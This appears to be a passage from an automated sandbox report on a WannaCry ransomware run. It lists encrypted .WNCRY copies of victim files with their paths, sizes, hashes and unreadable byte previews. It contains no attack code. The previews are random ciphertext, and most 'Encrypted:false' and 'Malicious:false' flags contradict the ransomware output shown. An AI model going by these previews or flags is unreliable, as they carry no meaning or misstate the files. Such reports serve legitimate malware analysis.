                                                                                                                        Preview:WANACRY!.....yb..l...'$.P5..-...\.IV+X...........B..Q..o(.Z.9....t.h..W...O..nP.1.........Pa...j'.....k........6..k........b.*.....K..x=.......q...d.{..%..........q..m..|g...........-4...{^.I..!.V....B........ *,r......A...i....*K.}...<.-.j.O...f..q..........#.......,...\.eS|$.f...b....4xh.@.!>7p+h..q~.z....~.9.x..e..N.\.....E..*.....3.c..`.%....Lw..0....$F. ......1.M>'...7_.Q.@&.c.j'O\.Ns...0...WMs...8gm.R.......K...?)FK@....9.`._.$........'.u...3..%.{.it._...MJgvc....'{.!..SJ..u9.......j.9.....v.<Fs..a&p.P"zw....c.A...5..%..<l.....b.0I.r..rw..#H......B..U|..pFl...^.(.s.....E.....Zq..v.6{Ng.>..l...9o..s..e'.d}..f\Jp.s..R...a../.;?..D....g.....=..i..m.....|S.V.B..<p..4b]...G+C.k...q.....bs..l.V............S....Os.ll....]. .q.{...o..9~.e...(..1...}...{_.....d.V..(.......w.....=..4......&.L?..|..t..n...7.A6...rx......l.p..'..4K[...y.H5.....5....5O...8...?...U.y.?...V......Q5!V.@_06.Ks.>~...6..d1.:....Z...s.......>.-..Y....8.wi.?".....M..yY..J..:m.

                                                                                                                        C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Intel\GCC\gcc_svc_log_2023-05-26.txt.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):5912
                                                                                                                        Entropy (8bit):7.971614867126869
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:oGe49CpS+ilfwnAVqFgsum3YT5nzcte+92gCH67E2xJx1rTR3lBlMCIlPFYku/6l:H9q8qzgsum3YT5zu2gdb1XvB3IlP3+/G
                                                                                                                        MD5:71B993A189B7470D54E890FC80D690A3
                                                                                                                        SHA1:EFA01C679BAB41175215A9618E3C0667BC3CED91
                                                                                                                        SHA-256:58AE583E791D94E4FD4D1FB22016659833107A50495F6EC78AD86492945FE0DC
                                                                                                                        SHA-512:F80AC42C59F5B86484811B50B366A6E81375E313D11E89DD42E42201CD63A612CDEBAA95B0405ED283CE46AE292475BD0CCA943E5D34DAC75140C7CF478787C4
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!........D......l...m.3k..\.H..`V..A..*...ml.4..\)..fI.\....kv..I...."9=...".......V[..Th......!.ch...z..V.....RL..^0..&\..^........X.......;t"..(*1Z.`.....G}V>w~?...M5]....2./](.f.i..|.j./ `1)......[o..^.f.:. .r.6G...{.......d.H!/.m|!.h)...............kz$d`(Ov.q.a..<.m.x...$..Y...U.m.!!..jrl.R.....H........U.da!.,[...@.....R+g.t5l.O!.......y6.1M.@.....s.\...H..a5.}... i.S.e.`P....+..w5....-._.kSix.....:.b..4:.(d..%n^t^.k...!.}9N..o.."?.....s/0.....7..E.{%p%\..].{Mz..z.L......L..0..A5.R..T/.v...C.....P..0..O...v..U~)..[..^......\..|X..W...C.......)oE}.-]i........O..D.N...H..y..P.O.....l.sv.<.......C...C..*w..h.6.n._|.7.w...a./..#..:..g.0...[..}.}_5M.,k.?.FS... n.O.@..0T7.3.....sF)......H.l>._F.3...5ut.^....^{..F.J...r.?Yd. .<....Z.Q9....;.......E-.....$}.#..-..|..# `...N.....[[.>.=...G....]..?..<...q.E.wjg73.`M..drq.P0..x..g.R.W.leJqSF.Te.......9=$.H.T....s.!kU..a.......d@)..>$wB%.SD......e.L..~...Df..V....ggko.0.Y.

                                                                                                                        C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Intel\GCC\gcc_svc_log_2023-08-05.txt.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):4264
                                                                                                                        Entropy (8bit):7.955613758625328
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:obq1P2joUfSioI+bHB3KL1MqNazTt4GaTAPu8z54GoqRq:11fUfSi383G1MqEt4jAYG1k
                                                                                                                        MD5:8385CEDA57EF818BF0479E976500BCD6
                                                                                                                        SHA1:885E155EF64DD5C9DB9266D5B7270BC1D5C307E7
                                                                                                                        SHA-256:6123861292214F82FCD885F5E8309D66C71BBFCC8393D129A03508635249AC6C
                                                                                                                        SHA-512:0049BC9B51592ED8791F050CB29815648A0956FD7C1A9BA07B4581D7CB47DC5076CC53DC327EA279E1A114CB0BC9A50015748BC4D7D1C378FE5A840D7E2D2C06
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....Q.... ...+h-...rO..+..).(..}0.2........L.&...O9...J .."Au..hi.....y........@`b.ae..m#^t.{...F.1@.C.gUF^.....T....f.K...AHeZ.4.I7x:.[...JB..S...=.6.V.b..t.(.'V.Q.I..g....$x.%..z.o@.f99.a..@.'..d.8DbJ..d....@5)..{...$*?8;...yz...S.-.....g.................@..T).."..?...xQ...A......0C;..)g..f{.G3~L..G../.(;..JI}.\z...A^.U..........".Y>s;j1..Tu.IU..\...W.hB.........q.f..l7....P..O<..h.@j.c....^O'/9..hi.M.MQ....c.y.1t.P..+.W.B*?..]Y1.?..';y.../g..+.kD.R..v.6.V.....b..a....#...,2.!.O.l..je...1)z.@C.0.;^...:E.>.G0.=]..I z".|w9TNH.n].]..P.Nc.}...Gh...=......PB..:yX...J@.~.b.K..K...$*.H.Q....../#....M.{.M...T..kx..V..7.N.c.......(I..QcKYr+,?.1.#D..,.,C.Id........#..IG4...2d..iC..Q.0.2JB....k&+...[..;.....k..3 ..a......K....8"y.-/=.o..d9g ..........R5io.1.K......W..B.........e.,.Ou#...a.6.....FJ..9...P.j...UU.@.=uc..J..W.....Du...(.........h{.4.HD.........X..'.h.4.....:.S....r-Bk#K.7..H.K@..%ef..W.@L.#V....i...@zr.~YNW.....

                                                                                                                        C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Intel\GCC\gcc_svc_log_2024-06-03.txt.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1864
                                                                                                                        Entropy (8bit):7.90542511536083
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkdacR1Ji5z5bwrVdACBqQxHp65XUe8y6EoKws73IPY5rJ6+Dt6F2BvyuDFSt1ay:bkdZJi5BGpxJ8on3ds73IowQB6u3RStN
                                                                                                                        MD5:D3D4B19B9D515064795F3816E54CCAE6
                                                                                                                        SHA1:3288C0B919845C28D4CFBD7482317451A6087B67
                                                                                                                        SHA-256:9EBE2EAC41304CFE986F894166F6D8BDF7769ED18240AD727246D438BAA71D74
                                                                                                                        SHA-512:B6EEB2267799FFC67F163528E591928C3B9D0A85B090FBC89DA890DE23B3157D6A924A96AB125EB6E24C848FC113595B85146B5A0C4CC6F97E342CCE45977F34
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......U..l.......h.@.fY...i).0Y...q.'.B..p..8..6.....C./T..b.rP.y.HC.Y.ITkb~....F.G...k.......`0XS`.b,....S...u....$..AC.H.q`I`R.=...9...:.c..C..ND...h=o..._............vi1..z{.F.(\..x.i8?@d.W.TL.k..........6.....=|.....,. .~....8...\...d..M...T..c....#.........-...........P.t5.O.......-?..)F......z*..o...~..._.^.! .[../N..........Z..o......=...!_..COQ...'.M.....c7..BC"......Vi2......D.........w.N..s'...:Q.RS2.s5~.AL..Wk.M.6.uV.........\K....*.....ygE... i#..J.D...V..T.1~n;....0..OlM...b7.>c.[.......W..)&|...Ci...g.C.."..@l...q.D8y...$....P.....G..9*..........;..]...~/.T...5...6........Hv..[bT........ .F.f..._\....+..=-.j....H...1^........G=].-W.u....rl...E...hHY8..Bm.k....G...F.BU.;.F/X.....EJ..R...:..VLOz......E......Y,l%....An.q.<.}.. Hz.......a...I...]3....Z+P..,g....y....o.V..qQ.......$6X.-rtXdO..S+.......'.j.....5CD.N.$`..c.d...MvR.......Y>.....v..*....%q.m..-.@.'..|O.....9....2..D.....}.V.0....D.D+.j%.K.Azs...-,.DK..O

                                                                                                                        C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Intel\GCC\gcc_svc_log_2024-06-19.txt.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):5912
                                                                                                                        Entropy (8bit):7.9686907959770314
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:oX8MDsgxtPnhDp/kGCAfERFRlHVK9RoGt/pgkAnClowRKN2O1Wg+AKQr5NTV374/:s8Mggbnhhw0+FtK9RoGtVekaWxAVrjVa
                                                                                                                        MD5:873D3DF62E632C652EB8A90BBAF31E02
                                                                                                                        SHA1:A1A5A526A7749A1FD84D971979A9DACA113F0278
                                                                                                                        SHA-256:7EB0403D0F16A056F55A4716E664F3B5513D3E701C1C75D2CE455442103CFA92
                                                                                                                        SHA-512:DAA78E99217C5E4C4BB19EFFB614AD3030F9F167B4BAFDE116DD9F7CC048BCDB0FA246FB0E4818DCD90FC93CBD395B24BC81DAC2B78F066B1D46A65B1D1E8464
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....Z..Z.w.../Z .;.2...d..4.rC...2.v..6.H?D.v..7T2..L.x.dN...cR.....v....m4.......$N.E...Y.........`,...*.F..Q..P..6t...i.q... .&.<r...),..v.SY8...v'..3<........%.^..5)R32..2.0Sc..6......A.]Y.......uaK.\.Nt...xU.....A.....B.2;.(`....4.6.%zH.u...4.2............./.cXR1.....LLC....~ .E......J6.D.?.....A.hGI.Y..]...|.g..2....!E.L.".."m.kc&yo.~...M..w9y(YE...[.B....c.C..........].?.K?.ie.}pn..x.9..Wa...j.+Is..|.TW...\4Bsu...K,G.3..z7..........|.2.?...} ...2.O..hob..p9pG......4..R....T..k..:.n./4..7...i.F....H@_[2..*.v.u.`.....28'.bw`g.... \LAT_.*..`.S...y8....=o..7..w.F.N'..cp7..{H..!. B..9(...R@O.@....];.w.y.y..... .^x..$ ..#............B...;q`..........f.$.7...8..:..!Hx...n..P.6...%.|"{3.......J...$Rn...1...{Y|#...[N.he......+)<.a.....g}...mq.uD.%...(.>.....Py.RA....j.B.y.<.o..7.j.f.U.OI.....I.........z..Gk[.y.K..D$.......c..x.,2.E.u.0O0a._.Q...C^|. ..My..AXJ.{..\W....'.m.h.iGL%..,.....8..+..M..K.m....f...o"3yk..s..F.U...^D..!.G.K.

                                                                                                                        C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Intel\GCC\gcc_svc_log_2024-06-20.txt.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):14216
                                                                                                                        Entropy (8bit):7.98448834773189
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:384:11AZOs9ZuobZb3rj4MoV+ZAw0+Z2hECHmZ3L5C2J6:11AQYbdbj4M8c1ZLhVNx8
                                                                                                                        MD5:FADA4F5C93ACC19B170D2E5E74A79451
                                                                                                                        SHA1:AF6DBC09380A51DB2069D5FBD95985FAAFA5DA19
                                                                                                                        SHA-256:4E8679B15E8F214866E558AD10A3C6A5DEE7617B092C35AF9F26865077FC47CA
                                                                                                                        SHA-512:DB209890192E19098BC5055FDEBE0A3C89A171DD23B8374CEA8CC9828E61195DE3EF6C91F62445B0237F299B30FF0B74D89F3D152E1018FCA70787A7E5A4A0E3
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....p/.....N.cp...H....h[..l../.m.N.Sw.9..5....+...Wc.t.'.I.,...B..Rw..=.s.}+.3.8L.=......fz....F..t....V)...J....48V.Z.......@:..h..(.G.P.i....'. ......1....R..*Bg............JNm....5)h)N...Q^..=...5.O|<./...a......n...`1..3.(.^$.n.^X...H.......l6.......i....'f.&....?Cq.......s.....z...p.p~.?..5.k....3.h.E..+.T.(.4=!.9.eWw...l;[...P.}....68.vi.._..F.'.........S....y...+..T[.'...*.J..........w.........r......;.......*FP.G.....-9.......k3....X#............T..C......%`...LMr?y.N......M&....[<1...$04o...T.H.....X.%.......4u..]..*.QbIz.]..J-Z.}.9/.RFE.`9C.x......"Q.z..+..m.UX..*.;.R.$)..=..p.8.Qz.....,g...J4.|.Y5...}Nl.<.v._.!.W.......z..G...!.......T....^.S....$....^......;.V.....1 ....z|...R`...F......W.^H..s}1........KB/....-.=^...H.x~q...R!...F.......].....q..].`..N..n/....:j..0...I.m..wC....9.>|.tN....M....+.2A."^`{......`."p.6.G.Y.[...........!.3.^t..k. {.2....^..2.r.$..T.........e.I4rn.m.;.$.{..\..IE...".A.R.]..[..(.X...]*bH.

                                                                                                                        C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Intel\GCC\gcc_svc_log_2024-08-30.txt.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1864
                                                                                                                        Entropy (8bit):7.891222148602009
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkQXNww1sEJKz505NwIrJC9lVqq8wAC+Ddf5eKBv:oQXNwwCDz505NK9lVGC+Ddss
                                                                                                                        MD5:746AE448ADEBF41356BB93904AB27566
                                                                                                                        SHA1:5952B51949E6B5A9665F7D3B81647511CD1E5D7A
                                                                                                                        SHA-256:9571D8B358FB99887467CB6DC42F17676799F17E50A84657816DE5C48205C243
                                                                                                                        SHA-512:FFDDA19DE1A3F94288467EB69FB2A522D0D0ED890A33457FE0F31B99024C078563DACD902244DE3C9ED7AF27EA7B76F5785601378C712AD32648DCBC69F73918
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....<.Y...W.Ir.&|...Oz..I..4.3es....:H.|rb..#o...N.E..W$G.6.#,.B.K...T..)....P.a-.i=.Q...^.[<..G.....<.Y.h$}.\..qu..;]....,..Xp.....\.fM'.+FO.\......".(.......l&b>......j[......h.Y...=._..TVT.8...*+..l...1./.q.h.Z.a...x....u.....7.l\....V.|:1.....#.........q!0.....9....]...E.3...k..Q...$G.WX.'k.5u..-.U...!..]...^...V..J.>......;&..V2U....\[)m.Au.K...p......=.BD..=.w.Z..I.....D.N..A".@f.c..jd.h.ek.r..2....fdU-.\d?X.=:..fL.{..(v.H.C..(^.N..lSv./.cI.@b.0... !Ed.....t.G..-.F'..u9..._...)<o:.rQ&.?-.7+y.......=..<:.*s-.L.\s...}@]l~.0..R...*c}..U.&3..I.".....^kG.kn.9..|..d.F......X2P...H..9...U,}g.xYi.B0...i.....\-...@]M....y..w..t......R/.@..b.7.)....V.!.._7......n......L.....A...K..+..I.'x...W..I.ZZ*.?p..D.....e.Gg...X.Fe.^.'#]..Q..T.&.....s~-./H8.E.y..a@`d?<..&...l\..,|...4.Q.C...$.q..<G......`.~.`..+.f....}I.....F`..-....]......3...],...q.l..!.lX.d...!ls.nXH.kU.G.u.g..|V..r..Q.#|..;e#...u,..[...m..N....O(7y.M..Qsp.X[8Q...C..

                                                                                                                        C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Intel\GCC\gcc_svc_log_2024-09-10.txt.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):3512
                                                                                                                        Entropy (8bit):7.951371908230921
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:orO51IPLq3uwfEFaCk9sQuAGAno1ZBr2Wayf7uah:MTL3rhkvujAnopa87V
                                                                                                                        MD5:BD80786533901ED9030D61D69B2C9A98
                                                                                                                        SHA1:EB09C2CAD3E7E7D159F49FD867025915B21B1FEA
                                                                                                                        SHA-256:D5C5B7F15648FBF1684F7BDB59CCEA3CD71F4C1A098D031AF9D063EE8FEC76E7
                                                                                                                        SHA-512:91A5C90AD124E45256478041B7A1A0962A872E8A35B66BAB570549E174912083EFB947C806E5E1DC563EE7CB93F4EADB1BFC256B9A7F56970687206C9AE2504D
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......9....D.D....(.$... .......Q....y..cj.I..i(2./.Ko.......l6.l......-.MV3N...2T.K..V..49R.t...\#.n..p..}....k..r..m..Yv......<u*e.?...........:[.R-..I..7..N8l../...C.K....<.`...a.1tj.......Vi.f......-w[#...Z.12.+..3o].AS$<.....m..{]..k.Id..=.P...l)...............f.@6..o...v._.@8.%=...y..l...)kbl..D<...... h*.&e...;./...6.v..hG...".Z.`....^F}...........A....EC.v......24.....ro`.;`......7 ..lBk.?W.~.[].$'.K....F.F1......f...0......N....0.......L2....../..2...D........X..s=...r,...D#.E....:V:.d..^..rn...H$...A2...T..Q1.9.]n.G.-.........3.=. r;....c...m...*..?je1..{..|;...+.<h~X....l$.z.U.U I)y.;.....d.O....E3.r-..j.u......=.9u.FKEbAH.....e,.....;.z.....2.....$!.a.e%.+Z.0......d.pkg............lH.lIu.|...Wd.v...O...!...jj..V"I]...N..(..C....h.*.._:..:...\.C+M......y.....t..........=.].PF.(..S.%F..<..(X.#1...*,....R.......aO...%..e~.].z{.C....\{I...h1.8...S....^T.)7....B.7...k.H.....L...7.i..b.m>.....9WQ../.....L...U,b8....L.vA.,..P

                                                                                                                        C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Intel\GCC\gcc_svc_log_2024-10-03.txt.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):2696
                                                                                                                        Entropy (8bit):7.929699023333155
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkaXuYRuP2rA/f0R+5GZtpzHTdDwNWCMo+77VaoqN+lm/CI1NVS945:oaXuYRuPbng+5GZtpzHR4UcEIv7qO
                                                                                                                        MD5:32F5E68D286F87EB9673650D92E6A4E7
                                                                                                                        SHA1:F8B9783F4DAFB80C831A1CF4A659B62E1A538819
                                                                                                                        SHA-256:EB5AB4FB9D3548FC68794003E76227987B078EB7BADF753B80DCF174F5023A2B
                                                                                                                        SHA-512:78AEE4C2D7C9765CC061B349479A043D1F93A09333E7A679A2BE57AF808A3CC3596F3B3AFC2192112B08B44B6B3E36B8ABCDF12E28CD0EC0B9F2C5CAC980858D
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......2D1Zp...n....5R..i..".I.B......._..,T.P......S6.,./.@./N.}.......S..H..v.Wp..;............2....%b...K%..........W...!.m.vy..-/.[6.P...H...)W.$o.....l.......-].]...J.x.).......C).....W.u.W..Z.....^.k.._g..&L...9.......AH.P.Kkw.+$.B....<.16.nP.....a...........G...._.m.M..w.}.r..L..?K.v.=.).r...*. .$.g..#..R..)....$I......y.*.s/.A.R0.n|7....+8rbP.J(].....iv.e,.#....|-.&.K.....T.........r~y~jk......hh...&l.e.....5.6.l......j3.1.m..6.....c....0..;.A}6.y..@..Q;.So.E.._.......c...6..y;..T/L`}..8.k'..._...4.%mm.W.....7.....9...J._ X.q.a!.6.`q#....$....I.."n.z.J.V4y..<......b.A....-{x....j8"......$<n.z..T.~y...a3tPn=..O.1R...9]...<qI,..")[E.xQ...n.J.p..&..v_O....8...Ob...G.~....\o.7.U...,...MF5.{.2..,...h.2....S.~...0."..0>..|>..S&U.y..n.....S$.p..i.qQ9Y...........rm".1N.4.U..6:&"O#X.:......k.e.Y...~.....f...c.y.Y.<f..i.":nu....N..A...\...|9...lNF.....u.})V"d6.p......Ac..9.v......+....)......c@=....>.#.&~w..u%6.^.S8...v......u..Q

                                                                                                                        C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Intel\GCC\gcc_svc_log_2024-11-18.txt.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1864
                                                                                                                        Entropy (8bit):7.895878321606407
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkCEoEtADv4TwrmcF3v3OW7OOKpHmnLhABRBJ:oCEyk4mWfX7ONpHAL6BJ
                                                                                                                        MD5:3E017C328ABF97AAEC3E19B2EC6A1415
                                                                                                                        SHA1:50EAFE3C192F8B11B15B31E3BC4778569B986A9E
                                                                                                                        SHA-256:2A6C7F0E4E75069F60AC2336FB0BBC1E93E5A74251E8D98B0D8431F54DC8A597
                                                                                                                        SHA-512:C9377B7BC425D55B161518C537A95F4A6CDC84E33A8ED6C9547B526B0A4A7BB0CE3C1FEB73DCA3955A270A6D152DCBFBE66AE54B31E7CD5F12554423CF6EBCF7
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....&>.,.k....>&...0..7...U.D...s. ....7`.kSV._~.j`..n.3<....|z.t...W2c....IL..0....p..'}. $..(;....O..VY..UI.....{..i@..].d...oO.4..@.)W..z+.f.&.. ;.5...n...-.7....;..k....T....Y.^p....@.%}......CWt..an..%1"..vv.R.d8r..%..6w..#....bD.[n.b..u.(....#.......[6@|R.+..;....v.fQU..,e.Q..b...:.H..pE7.Y....h.=vF.|.....`3LD)...;...<.....!t....[..Z.p...h..j......j}...:..gs.{...g._pl......+.{..5$..(;.......C..M..>...p.fD..,/.'...E.W.......fq.L.X..F:.j..#.Do.....?.. .....T....A7.f.F{1jT.8....;.".i"q...Cm..Ts.P~..c..<J..f%....\.NL.8.c.6...z..=.sB....j."4a.=!8~E!.N.)B.<..`t.\H$....T.Nkw....c..3...F.). .s.j.).....4..vw`..5..;.t0.t..-On....6......A+.s.g..d0.&...%..jp1k...Ju..9....o..- .`..Op..!...16+C[.?...T.v.[..V.:i.S....R.*o3..........v.'...|..&J..4.6#P..Fye.8jF...\..9/Z7.t?....x.6.`......."....Q9w2.B0[..:.=8<.c.~8?.6..).T.H.H.....s....B~.0.h..6.,......{.*.....0s..X....I<......".iM..W2S.....}lt..:....G............p..g<..W.e."E.0..W.d.j..k.....{.1

                                                                                                                        C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows NT\MSScan\WelcomeScan.jpg.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):516712
                                                                                                                        Entropy (8bit):7.999664486022489
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:12288:GZoAL2/teigY0V0nelHrKduJOmyuO36jyZSuMf8:GaAL2/1gY0JlGqvpjyAuMf8
                                                                                                                        MD5:78DEF973ABC42C621F8A6FA299F60483
                                                                                                                        SHA1:9F4A53BD1838244E76D510168882F7F3254192CE
                                                                                                                        SHA-256:45AD56AA27E8669FBB97253F31B5B9ED9B1AB7848B932E6FE446FDEA9A3FFFDB
                                                                                                                        SHA-512:CA8E0CF1368DB3ED4D9B6B939120AB08F6DCA748E8C95C9E37D35064D7A99F07840DD646650F43F7DFC13183D99DF53CBCEC958446414A475D9D8191F3D13BEB
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.............9N.V......r.4.?.A.:..V-z.bd./.j..2^k..}......B...`j...[l6.b...?.*...RUs,O.J...)..6...........+%...k..T....p...@pY8=..u=..BK.}.uI..JJ....MU..g\..fL..?..P"G.i...v.I:.'...........jM.9..<.[..0.<.;..yI..q.w..]....3.......|?P..-..<..)Z/.....H........K....I...D.D.x..E...&.=.7,V.0..|.L../...L..K..?e.^.4.f......U..|..Y.g........Y...iboL@.z.....B..T...Cla.S..5~>..7.?..j.^.V|./.K/q.c(....P.^.q4(...E..T.._:8..R..3x.....W-.N.4f.h..3..w.a...&GS/....I.9H.F#./.i.......]....p....`Ri.w.........*....G..H..&..7...B....{g.9C...X....."h......fb%....0.{...#. g.......HT...\.J.zy.^..u0...|LqsmL%..x.....{.j.mJ...f...e|.wx.......VJ..l-...H[1....<.b...Z..._Ym.D.........I#m..w...(d............|%....2w...A...d...s...b...Z(.k`3..,.{..jVx.0.Ik.T..<....#P...C$..i.\.UH,e.G.v+....lTg...0.r........L.l....k..&..t.....E/.o6.;Y...3u..A.....s...9|.g.U.....|(..?O......N...F|......47N..#..g.7F..3...(7.kk..3^,s.)6.V.....Z.!.....i......|.y...f.I..

                                                                                                                        C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.2107.4-0\ThirdPartyNotices.txt.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):7000
                                                                                                                        Entropy (8bit):7.972008760742877
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:192:6kkwildcl39XL00kWZLIdyRhPKs6HsTeoLNEL7f7h:6kkwildclNXI0kWFI02sJLNk79
                                                                                                                        MD5:3FEE1E440472D0E3578CC81EC6961FBD
                                                                                                                        SHA1:5EBCF87F7D76F7C6964E57BA5D0C530E877BCFC1
                                                                                                                        SHA-256:FB8E42A5F67A5FC41BC109FB15181CB797CE70C5C478D68BF2173449760444DA
                                                                                                                        SHA-512:140E4FA3CB98D491FFDF8848FAE3D86AC54F382768B4E837B783C4B469403FFE12820CC2FBD9326C477C5EEAAAE4458EC0FC0FAB002C888051FFB8E53789DD5E
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.... 5.@ .Z.c........_......9......,.......e...m..v....}....).'....1V.0Z..L.ilI..t>.AV....,...+|>yR.;.M.1....8..#5....(.DI.G..... ..[..NO.>F...v..R..F.[.8+...F.....,....l".7.j..?J.|?..<.?b.#M.f..1._.+.7.Fv....W8......fol..L..z....j*l)..^x.}....emL....=........~...O...-z.rm...v..`..t...X.L....e..g.|.,.....|...9.=.r.2.^8....S=./.,.uB....|.B....U./.....m.#....>.c.....<.k..L....}.[c.?.....DZ......"K..D.....<..C...n[Y.%....v(.=...........`.."K.$)3|...a.E.@..i..wW\..Z<i:yq...({...<.yK...ly...].0..Tim<.U..O$.Z...K.\`.5.>.?.;.{.K.E...X...7....G.7.)...x.....gMp...F..I...f.-...QSI...='.ZB.......u/..........WbJ|.....p.....y.:O..!H.h.M..YMk....n.Z...F.....&.....G.wf.a..`.o7.!..L.$T.YLk_.W...O.8.;77TK......yP!..._6..Sb..s..:lj...y...Y..z.>....C.../z..!1.......5.[..(.....GN...1..a.X...i..W..')D.:..L.*$-....|..[....&...Q..5.Lw.9..f.K....)..o.Y.O...A....=.V..orB.{2.J....y.....+.t}.T.W9..S....,..OLy.[..4ue......p..)..#.ixC..h.;.9.8.....M.e...])..

                                                                                                                        C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.2108.7-0\ThirdPartyNotices.txt.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):7000
                                                                                                                        Entropy (8bit):7.977409358428591
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:192:+cJ8aSzK/jUNTWWJmQOmBLWLERgH2RTyDd:tJ8a60/QOgSk82RTyB
                                                                                                                        MD5:558FAABD8EC4EB18780A90A6B7DE575C
                                                                                                                        SHA1:A834639A3C6807E1B84B53F4F19AF039901BD84E
                                                                                                                        SHA-256:E2D9B1B90BF5484D747A334737DEDB8FBCB539DAF2DF6325C7F5433C0487A1BD
                                                                                                                        SHA-512:DA2C1FC3C0D023EED2F07043660BEE4AB668C6201B8959E33199778087837261CD67E87CCC353A7E6A8C06A915132B6A09F0523BBDD8F1826414B7530990BAAC
                                                                                                                        Malicious:false
